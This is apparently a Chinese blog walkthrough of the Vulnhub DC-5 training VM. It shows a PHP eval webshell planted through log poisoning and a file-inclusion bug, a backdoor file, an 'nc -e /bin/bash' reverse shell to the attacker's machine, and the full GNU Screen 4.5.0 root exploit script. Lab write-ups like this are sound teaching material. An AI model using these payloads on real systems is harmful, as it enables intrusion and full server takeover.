Vulnhub靶场 | DC系列 - DC5

DC-5

环境准备
靶机下载地址:https://www.vulnhub.com/entry/dc-5,314/
攻击机:kali(192.168.58.130)
靶机:DC-5(192.168.58.148)
下载好靶机之后直接使用VMware Workstation Pro虚拟机导入环境,启动即可,将网段设置为NAT模式

信息收集

扫描靶机的IP地址

查看本机地址确定靶机网段

┌──(root💀kali)-[~]
└─# ifconfig eth0 

扫描该网段存活的主机

┌──(root💀kali)-[~]
└─# nmap -sP 192.168.67.0/24

扫描开放的端口

┌──(root💀kali)-[~]
└─# nmap -sV 192.168.67.31

开放端口:80、111

web容器:nginx 1.6.2

浏览器访问目标靶机80端口

访问80端口

就只是一些文字,没有啥可利用的位置,只用contact页面能填写东西,随便写点啥提交上去看看

发现也没啥可利用的,但是发现有一个细节,这个页面只要刷新下面的年份也会跟着变

http://192.168.67.31/thankyou.php?firstname=&lastname=&country=australia&subject=

猜测这里可能含有一个文件包含漏洞,使用御剑扫描查看网站结构目录

发现有一个url为http://192.168.67.31/footer.php,查看发现就是这个页面控制着年份改变

所以肯定是包含了这个页面,输入urlhttp://192.168.67.31/thankyou.php?file=

发现底部缺少了年份

验证了我们的猜想,但是这里不确定是否过滤了其他文件

文件包含漏洞

渗透过程

前面通过信息收集怀疑存在包含漏洞,使用burpsuite抓包

将footer.php改为密码文件/etc/passwd试试

成功执行,说明确实存在文件包含漏洞,所以现在需要想办法将一句话木马写进去

向日志中写入一句话木马

前面信息收集发现网站web容器为nginx,nginx的错误日志文件路径一般为/var/log/nginx/error.log

写入一句话GET /thankyou.php?file=<?php eval($_REQUEST["tedu"]);?>

利用文件包含漏洞查看是否写入成功

http://192.168.67.31/thankyou.php?file=/var/log/nginx/error.log

发现一句话木马已写入错误日志中

使用蚁剑连接webshell

成功连上靶机系统

打开虚拟终端,发现权限较低,开始提权

在 /tmp下新建文件 一句话木马(留个后门)

在服务器/tmp目录下新建一个shell.php文件,写入一句话木马

<?php 
@eval($_REQUEST[666]);
?>

使用蚁剑虚拟终端反弹shell到kali

在kali开启监听

┌──(root💀kali)-[~]
└─# nc -lvvp 1234         
listening on [any] 1234 ...

使用蚁剑虚拟终端反弹shell到kali

(www-data:/var/www/html) $ nc -e /bin/bash 192.168.67.5 1234
{"code":"ECONNABORTED","timeout":5000}

kali处显示有连接过来

提权

切换到交互式状态

python -c 'import pty;pty.spawn("/bin/bash")'

┌──(root💀kali)-[~]
└─# nc -lvvp 1234         
listening on [any] 1234 ...
192.168.67.31: inverse host lookup failed: Unknown host
connect to [192.168.67.5] from (UNKNOWN) [192.168.67.31] 48287

python -c 'import pty;pty.spawn("/bin/bash")'
www-data@dc-5:~/html$ 

查找设置了SUID的文件

www-data@dc-5:~/html$ find / -perm -u=s -type f 2>/dev/null

查看screen-4.5.0存在的漏洞

┌──(root💀kali)-[~]
└─# searchsploit screen 4.5.0                                           
------------------------------------------- ---------------------------------
 Exploit Title                             |  Path
------------------------------------------- ---------------------------------
GNU Screen 4.5.0 - Local Privilege Escalat | linux/local/41152.txt
GNU Screen 4.5.0 - Local Privilege Escalat | linux/local/41154.sh
------------------------------------------- ---------------------------------
Shellcodes: No Results

查看screen-4.5.0存在的漏洞

/usr/share/exploitdb/exploits/linux/local/41152.txt

/usr/share/exploitdb/exploits/linux/local/41154.sh

将攻击脚本文件复制到当前目录

查看文件内容

┌──(root💀kali)-[~]
└─# cat /root/41154.sh                                     
#!/bin/bash
# screenroot.sh
# setuid screen v4.5.0 local root exploit
# abuses ld.so.preload overwriting to get root.
# bug: https://lists.gnu.org/archive/html/screen-devel/2017-01/msg00025.html
# HACK THE PLANET
# ~ infodox (25/1/2017) 
echo "~ gnu/screenroot ~"
echo "[+] First, we create our shell and library..."
cat << EOF > /tmp/libhax.c
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
__attribute__ ((__constructor__))
void dropshell(void){
    chown("/tmp/rootshell", 0, 0);
    chmod("/tmp/rootshell", 04755);
    unlink("/etc/ld.so.preload");
    printf("[+] done!\n");
}
EOF
gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c
rm -f /tmp/libhax.c
cat << EOF > /tmp/rootshell.c
#include <stdio.h>
int main(void){
    setuid(0);
    setgid(0);
    seteuid(0);
    setegid(0);
    execvp("/bin/sh", NULL, NULL);
}
EOF
gcc -o /tmp/rootshell /tmp/rootshell.c
rm -f /tmp/rootshell.c
echo "[+] Now we create our /etc/ld.so.preload file..."
cd /etc
umask 000 # because
screen -D -m -L ld.so.preload echo -ne  "\x0a/tmp/libhax.so" # newline needed
echo "[+] Triggering..."
screen -ls # screen itself is setuid, so... 
/tmp/rootshell  

将41154.sh中上面一部分c语言代码另存为libhax.c,如图-50所示,并编译,编译命令gcc -fPIC -shared -ldl -o libhax.so libhax.c

┌──(root💀kali)-[~]
└─# gcc -fPIC -shared -ldl -o libhax.so libhax.c

将41154.sh中下面一部分c语言代码另存为rootshell.c,如图-51所示,并编译,编译命令gcc -o rootshell rootshell.c

┌──(root💀kali)-[~]
└─# gcc -o rootshell rootshell.c

将41154.sh中剩下部分代码另存为dc5.sh脚本文件,如图-52所示,并在保存dc5.sh文件之前输入 :set ff=unix

将编译过后生成的libhax.so、rootshell和 dc5.sh三个文件复制到DC-5靶机的/tmp目录下,在kali交互模式下进入/tmp,为dc5.sh添加执行权限并运行dc5.sh,发现提权成功,如图-53所示。

获取到flag

进入到/root目录,查看文件thisisthefalg.txt

  • 39
    点赞
  • 21
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值